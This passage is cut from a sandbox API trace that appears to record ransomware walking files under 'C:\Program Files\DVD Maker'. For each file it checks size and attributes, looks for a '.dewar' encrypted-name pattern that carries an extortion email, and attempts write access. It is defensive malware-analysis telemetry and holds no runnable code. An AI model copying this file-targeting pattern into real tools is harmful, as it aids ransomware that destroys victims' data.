maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.570] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2821) returned 1 [0257.570] CloseHandle (hObject=0x1e0) returned 1 [0257.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0257.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0257.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.576] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5620) returned 1 [0257.576] CloseHandle (hObject=0x1e0) returned 1 [0257.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0257.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0257.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.577] SetEvent (hEvent=0x118) returned 1 [0257.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.578] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5182) returned 1 [0257.578] CloseHandle (hObject=0x1e0) returned 1 [0257.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0257.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0257.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.582] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5088) returned 1 [0257.582] CloseHandle (hObject=0x1e0) returned 1 [0257.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0257.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0257.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.584] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3130) returned 1 [0257.584] CloseHandle (hObject=0x1e0) returned 1 [0257.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0257.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0257.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.586] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5025) returned 1 [0257.586] CloseHandle (hObject=0x1e0) returned 1 [0257.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0257.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0257.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.588] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3118) returned 1 [0257.589] CloseHandle (hObject=0x1e0) returned 1 [0257.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0257.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0257.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.590] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0257.591] CloseHandle (hObject=0x1e0) returned 1 [0257.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0257.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0257.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.592] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0257.593] CloseHandle (hObject=0x1e0) returned 1 [0257.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0257.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png")) returned 0x20 [0257.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.595] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=24791) returned 1 [0257.595] CloseHandle (hObject=0x1e0) returned 1 [0257.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0257.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0257.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.738] SetEvent (hEvent=0x118) returned 1 [0257.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.741] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1545) returned 1 [0257.741] CloseHandle (hObject=0x1e0) returned 1 [0257.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0257.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0257.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.742] SetEvent (hEvent=0x118) returned 1 [0257.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.743] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3159) returned 1 [0257.744] CloseHandle (hObject=0x1e0) returned 1 [0257.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0257.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0257.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.746] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8509) returned 1 [0257.746] CloseHandle (hObject=0x1e0) returned 1 [0257.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0257.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0257.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.751] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8120) returned 1 [0257.751] CloseHandle (hObject=0x1e0) returned 1 [0257.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0257.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0257.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.753] SetEvent (hEvent=0x118) returned 1 [0257.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.754] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8406) returned 1 [0257.754] CloseHandle (hObject=0x1e0) returned 1 [0257.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 